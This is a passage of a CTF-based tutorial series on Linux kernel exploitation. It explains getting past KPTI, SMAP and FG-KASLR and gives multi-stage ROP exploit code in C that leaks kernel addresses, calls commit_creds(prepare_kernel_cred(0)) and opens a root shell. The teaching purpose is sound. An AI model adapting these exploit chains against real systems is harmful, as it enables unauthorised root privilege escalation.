.text:FFFFFFFF81200F12                pop     r14
.text:FFFFFFFF81200F14                pop     r13
.text:FFFFFFFF81200F16                pop     r12
.text:FFFFFFFF81200F18                pop     rbp
.text:FFFFFFFF81200F19                pop     rbx
.text:FFFFFFFF81200F1A                pop     r11
.text:FFFFFFFF81200F1C                pop     r10
.text:FFFFFFFF81200F1E                pop     r9
.text:FFFFFFFF81200F20                pop     r8
.text:FFFFFFFF81200F22                pop     rax
.text:FFFFFFFF81200F23                pop     rcx
.text:FFFFFFFF81200F24                pop     rdx
.text:FFFFFFFF81200F25                pop     rsi
.text:FFFFFFFF81200F26                mov     rdi, rsp
.text:FFFFFFFF81200F29                mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                push    qword ptr [rdi]
.text:FFFFFFFF81200F43                push    rax
.text:FFFFFFFF81200F44                jmp     short loc_FFFFFFFF81200F89
...
```

As you can see, it first recovers a lot of registers by popping from the stack. However, what we are actually interested in is the parts where it swaps the page tables, `swapgs` and `iretq`, and not this part. Simply ROP into the start of this function works fine, but it will unnecessarily

enlarge our ROP chain due to a lot of dummy registers need to be inserted. As a result, our `KPTI trampoline` will be at `swapgs_restore_regs_and_return_to_usermode + 22` instead, which is the address of the first `mov`.

After the initial registers restoration, below are the parts that are useful to us:

```
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89                                  pop     rax
.text:FFFFFFFF81200F8A                                  pop     rdi
.text:FFFFFFFF81200F8B                                  call    cs:off_FFFFFFFF8204008
.text:FFFFFFFF81200F91                                  jmp     cs:off_FFFFFFFF8204008
...
.text.native_swapgs:FFFFFFFF8146D4E0                    push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                    mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                    swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                    pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                    retn
...
.text:FFFFFFFF8120102E                                  mov     rdi, cr3
.text:FFFFFFFF81201031                                  jmp     short loc_FFFFFFFF8120
...
.text:FFFFFFFF81201067                                  or      rdi, 1000h
.text:FFFFFFFF8120106E                                  mov     cr3, rdi
...
.text:FFFFFFFF81200FC7                                  iretq
```

Notice that there are 2 extra pops at the start, so we still have to put in our chain 2 dummy values. The other snippets is where it `swapgs`, swaps page tables by modifying control register `CR3`, and finally `iretq`. We will tweak the final part of our ROP chain from `SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS` to `KPTI_trampoline|dummy RAX|dummy RDI|RIP|CS|RFLAGS|SP|SS`:

```
void overflow(void){
    // ...
    payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    // ...
}
```

Tip

This payload is even easier to build than the one with 2 seperate gadgets for `swapgs` and `iretq` that I have introduced in the last section, and it will also work fine with or without `KPTI` enabled (most of the time `KPTI` will be enabled along with `SMEP`). Therefore, it is recommended to just use this payload as default instead of the old one, that one is just for demonstration purpose. You can also pivot the stack and put this payload in the fake stack when facing the second scenario.

And that's how we successfully bypassed `KPTI` in a clean way. Let's move on to the final section of this post and discuss a little bit about `SMAP`.

Adding SMAP

`SMAP`, abbreviated for Supervisor Mode Access Prevention (SMAP) is introduced to complement `SMEP`, this feature marks all the userland pages in the page table as non-accessible when the process is in kernel-

mode, which means they cannot be read or written as well. In the kernel, this is enabled by setting the `21st bit` of Control Register `CR4`. On boot, it can be enabled by adding `+smap` to `-cpu`, and disabled by adding `nosmap` to `-append`.

The situation becomes significantly different for the two scenarios:

1. In the *first scenario*, our whole ROP chain is stored on the kernel stack, and no data are accessed from the userland. Therefore, our previous payload would ***still be viable*** without any modification.
2. However in the *second scenario*, recall that we actually pivot the stack into a page in the userland. Operations like `push` and `pop` the stack require read and write access to it, and `SMAP` prevents that from happening. As a result, the stack pivoting payload would ***no longer be viable***. In fact, as far as I know, our current read and write primitives from the stack is not enough to produce a successful exploit, we would need a far stronger primitive to exploit the kernel module in this case, which may involve knowledge of the `page tables` and `page directory`, or some other advanced topics. I will probably return to this in the future if I'm given an opportunity, maybe when I would face it in a CTF challenge or a real case (hopefully). Investigating and explaining it here would be too complicated for a series that I called **Learning the basics**.

Conclusion

In this post, I have demonstrated the popular methods to bypass mitigation features such as `SMEP`, `KPTI` and `SMAP`, in 2 different scenarios where we either have unlimited overflow on the stack, or we don't. All of the exploits revolve around the idea of `ROP`, using multiple different

gadgets and code stubs in the kernel image itself.

In the next post, I will come back to the original challenge from `hxpCTF` by finally enabling `KASLR`. The post will probably be me reproducing and explaining the original writeup from the authors themselves.

Appendix

The attempt to bypass `SMEP` by modifying `CR4`'s code is smep_writecr4.c.

The full ROP chain code to bypass `SMEP` in the first scenario is smep_fullchain.c.

The stack pivot code in the second scenario is smep_pivot.c.

The code to bypass `KPTI` using signal handler is kpti_with_signal.c.

The code to bypass `KPTI` using KPTI trampoline is kpti_with_trampoline.c.

- Learning Linux Kernel Exploitation - Part 1
- Learning Linux Kernel Exploitation - Part 2

Preface

We have finally come to the last part of **Learning Linux Kernel Exploitation**. In the previous parts, I have walked you through my process of learning kernel pwn, from setting up the environment, to different exploit techniques that can be used against different mitigation features and scenarios. All of which was delivered using what were provided by `hxpCTF 2020` challenge `kernel-rop`. To the end of the last part, the only difference left between my setup and the original given

challenge is `KASLR`. Therefore, in this post, I will be adding `KASLR` to the play, effectively revert back to the original given environment, then I will explain the exploit process based on the actual writeup from the authors themselves.

Again, just like the last post, I won't re-explain what I have already done in the previous parts. You can always check them out.

Note

Use the table of contents on the right to navigate to the section that you are interested in.

Since this is essentially a challenge's writeup, I will provide the `TL;DR`:

TL;DR

1. Run the system multiple times and read `/proc/kallsyms` -> Notice the system uses FG-KASLR.
2. Find the address ranges that aren't affected by `FG-KASLR` -> Get a few gadgets, `kpti trampoline` and `ksymtab`.
3. Leak stack cookie and image base from the stack.
4. Stage 1: Leak `commit_creds()` using gadgets from (2) and `ksymtab`, then safely return to userland.
5. Stage 2: Leak `prepare_kernel_cred()` using gadgets from (2) and `ksymtab` (the same as (4)), then safely return to userland.
6. Stage 3: Call `prepare_kernel_cred(0)`, then safely return to userland and save the address of the returned `cred_struct`.
7. Stage 4: Call `commit_creds()` on the saved `cred_struct` from (6) -> open a root shell.

About KASLR and FG-KASLR

`KASLR`, abbreviated for Kernel address space layout randomization (KASLR), is just like `ASLR` on userland, it randomizes the base address where the kernel image is loaded each time the system is booted. It can be enabled / disabled by adding `kaslr` or `nokaslr` under `-append` option.

To defeat userland `ASLR`, what we typically do is to leak an address in the section, calculate the base address of the section from it, then all the others addresses will be just offset from there since what gets randomize is the base address, while the offsets are always the same. This is also true for normal `KASLR`, where the image base is randomized, and all the others functions will be just a constant offset from it. If this is the case for us in this challenge, because we can read a lot of data from the stack, we can easily read an address of the kernel image `.text` section from there and we have already defeated `KASLR`. However, things are not that simple for us (as you might have thought, if it's that simple I probably won't make a separate post for it).

Booting the system several times and reading `/proc/kallsyms`, you will notice that most of the symbols get *randomized on their own*, so there addresses are not a constant offset from the kernel `.text` base like what we used to deal with. This is called Function Granular KASLR. It's purpose is to prevent hackers from defeating `KASLR` in the traditional way, by "rearrange your kernel code at load time on a per-function level granularity, with only around a second added to boot time".

In theory, if everything in the kernel gets completely randomized, it will be almost impossible for us to gather useful gadgets from the kernel image. However, this novel mitigation feature still suffers from weaknesses, and we will take advantage of those to deliver a successful exploit.

Gathering useful gadgets

The fine-grainness of `FG-KASLR` is imperfect, there are certain regions in the kernel that never get randomized. Here are the unaffected regions that are useful to us:

1. The functions from `_text` base to `__x86_retpoline_r15`, which is `_text+0x400dc6` are unaffected. Unfortunately, `commit_creds()` and `prepare_kernel_cred()` don't reside in this region, but we can still look for useful registers and memory manipulation gadgets from here.
2. KPTI trampoline `swapgs_restore_regs_and_return_to_usermode()` is unaffected.
3. The kernel symbol table `ksymtab`, starts at `_text+0xf85198` is unaffected. In here contains the offsets that can be used to calculate the addresses of `commit_creds()` and `prepare_kernel_cred()`.

For (1), here are the 3 gadgets that I used:

```
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;
```

The first 2 gadgets can be used to read an arbitrary memory block, by simply popping its address subtract by 0x10 to `rax`. The third gadget is a normal `pop rdi` for functions' parameter.

For (3), here is the structure of an entry in `ksymtab` (source):

```
struct kernel_symbol {
          int value_offset;
```

```
        int name_offset;
        int namespace_offse
};
```

The `value_offset` is what we are interested in, it is simply the offset from the symbol entry's address in `ksymtab` to the actual symbol's address itself (you can verify this by attaching `gdb` to debug and inspect `ksymtab`). To get the address of `ksymtab` entries, we can also read them from `/proc/kallsyms`:

```
cat /proc/kallsyms | grep ksymtab_commit_creds
-> ffffffffb7f87d90 r __ksymtab_commit_creds
cat /proc/kallsyms | grep ksymtab_prepare_kernel_cred
-> ffffffffb7f8d4fc r __ksymtab_prepare_kernel_cred
```

To leak the image base address, since we can leak a huge amount of data from the kernel stack, we can attach the debugger and inspect the stack to look for any kernel address that belongs to unaffected region (1). There actually one at offset 38:

```
void leak(void){
    unsigned n = 40;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    image_base = leak[38] - 0xa157ULL;
    kpti_trampoline = image_base + 0x200f10UL + 22UL;
    pop_rax_ret = image_base + 0x4d11UL;
    read_mem_pop1_ret = image_base + 0x4aaeUL;
    pop_rdi_rbp_ret = image_base + 0x38a0UL;
    ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
    ksymtab_commit_creds = image_base + 0xf87d90UL;
```

```
    printf("[*] Leaked %zd bytes\n", r);
    printf("    --> Cookie: %lx\n", cookie);
    printf("    --> Image base: %lx\n", image_base);
}
```

Leaking commit_creds()

According to what I have gathered in the last step, my plan to leak `commit_creds()` is by reading the `value_offset` of `ksymtab_commit_creds`, then add them together. We will use our 2 memory read gadgets to read it, using the same ROP technique that I have introduced in [the last part](), then safely return to userland via `KPTI trampoline` to prepare for the next stage:

```
void stage_1(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = ksymtab_commit_creds - 0x10; // rax <- __ksymtabs_commit_creds
    payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_commit_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
```

```
    puts("[*] Prepared payload to leak commit_creds()");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}
```

You can clearly see that what I did was to pop `ksymtabs_commit_creds - 0x10` into `rax`, then use the second gadget to read the `value_offset` field, after this ROP chain returns to userland into the function I called `get_commit_creds`, the `value_offset` of `__ksymtabs_commit_creds` will be stored in `rax`.

Note

Even though there is a `pop rax` in `KPTI trampoline` and we use a dummy value to pop into it, our resulting `rax` that we have read is still recovered correctly, so we don't need to care about it.

```
void get_commit_creds(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp_store;
    printf("    --> commit_creds: %lx\n", commit_creds);
    stage_2();
}
```

After returning from `kernel-mode`, we have to actually retrieve the value from `rax` to calculate the actual address of `commit_creds`. Notice that in the code, I used a variable called `tmp_store`, which is just an `unsigned long` global variable. This is a very convenient way to move

the value from a register to memory using a small in-line assembly piece of code. Also remember to cast the value to `int`, because that is the data type in which `value_offset` is stored.

After that, I immediatelt make a call to `stage_2()` to continue the exploitation chain.

Leaking prepare_kernel_cred()

Nothing more to say in this stage, it is exactly the same as stage 1:

```
void stage_2(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <- __ksymtabs_prepa
    payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_prepare_kernel_cred]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to leak prepare_kernel_cred()");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
```

```
}

void get_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("    --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
    stage_3();
}
```

And with that, we have all the addresses that we need for a privileges escalation chain.

Calling prepare_kernel_cred(0)

Because of the limited amount of gadgets that we have, I couldn't find an easy way to perform a ROP chain that calls `commit_creds(prepare_kernel_cred(0))` and pop a root shell in one go (recall that I used some bizarre gadgets in the last part, and those aren't in the regions which are unaffected by `FG-KASLR`). Therefore, I have to follow the technique used in the original writeup by the author, in which they split the chain into 2 parts: calling `prepare_kernel_cred(0)` in the first attempt, saving the return value in `rax` to memory, which is the address of the `cred_struct` to be commited, then calling `commit_creds()` using that saved value in another attempt. By doing this, we don't have to concern about the most difficult part in a privileges escalation ROP chain, which is how to move the return value of `prepare_kernel_cred(0)` in `rax` to `rdi` to pass to `commit_creds()`.

```
void stage_3(void){
```

```
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_rbp_ret; // return address
    payload[off++] = 0; // rdi <- 0
    payload[off++] = 0; // dummy rbp
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)after_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to call prepare_kernel_cred(0)");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

void after_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    returned_creds_struct = tmp_store;
    printf("    --> returned_creds_struct: %lx\n", returned_creds_struct);
    stage_4();
}
```

Notice that we can reuse `tmp_store` to store our returned `cred_struct`

as well, very convenient.

Calling commit_creds() and opening root shell

Finally, we use the ROP chain one last time to calle `commit_creds()`:

```
void stage_4(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_rbp_ret; // return address
    payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
    payload[off++] = 0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}
```

After stage 4, we have successfully opened a root shell under this fully protected environment.

Note

In the original writeup, the authors stated that some how the state is corrupted and they can only open `/dev/sda` to read the flag file while not being able to open a root shell. This doesn't seem to be the case for me since my exploit can open a stable shell just fine. I don't really know why it happens because the idea of the 2 exploits are the same, the only differences are in the way we code our exploit.

Summary

And that concludes this series. We have come to this point where we have a collection of techniques to bypass all of the most modern mitigation features in the Linux kernel. Below is a summary of the techniques we have used accross 3 parts:

1. If the kernel has no protection, use `ret2usr`.
2. If it has `SMEP`, `ret2usr` is no longer viable, use `ROP` to call `commit_creds(prepare_kernel_cred(0))`.
3. If overflow is limited on the stack, use a `pivot gadget`.
4. If it has `KPTI`, modify `ROP` to use `KPTI trampoline` or `signal handler`.
5. If it has `SMAP`, stack pivot is no longer viable.
6. If it has normal `KASLR`, a single leak of a `.text` address is sufficient.
7. If it has `FG-KASLR`, make use of regions that are unaffected and `ksymtab`.

One more thing, I want to say thanks for all the supports and the kind words that I have received since I started posting this series. At first, my intention was only to write this as a documentation for myself and a few friends of mine. However, it turns out that a lot of people really

appreciates this kind of technical posts, and it gets spread wider than I can ever expect. I am really grateful that my little work here is useful for the community.

Appendix

The full exploit code is a.c.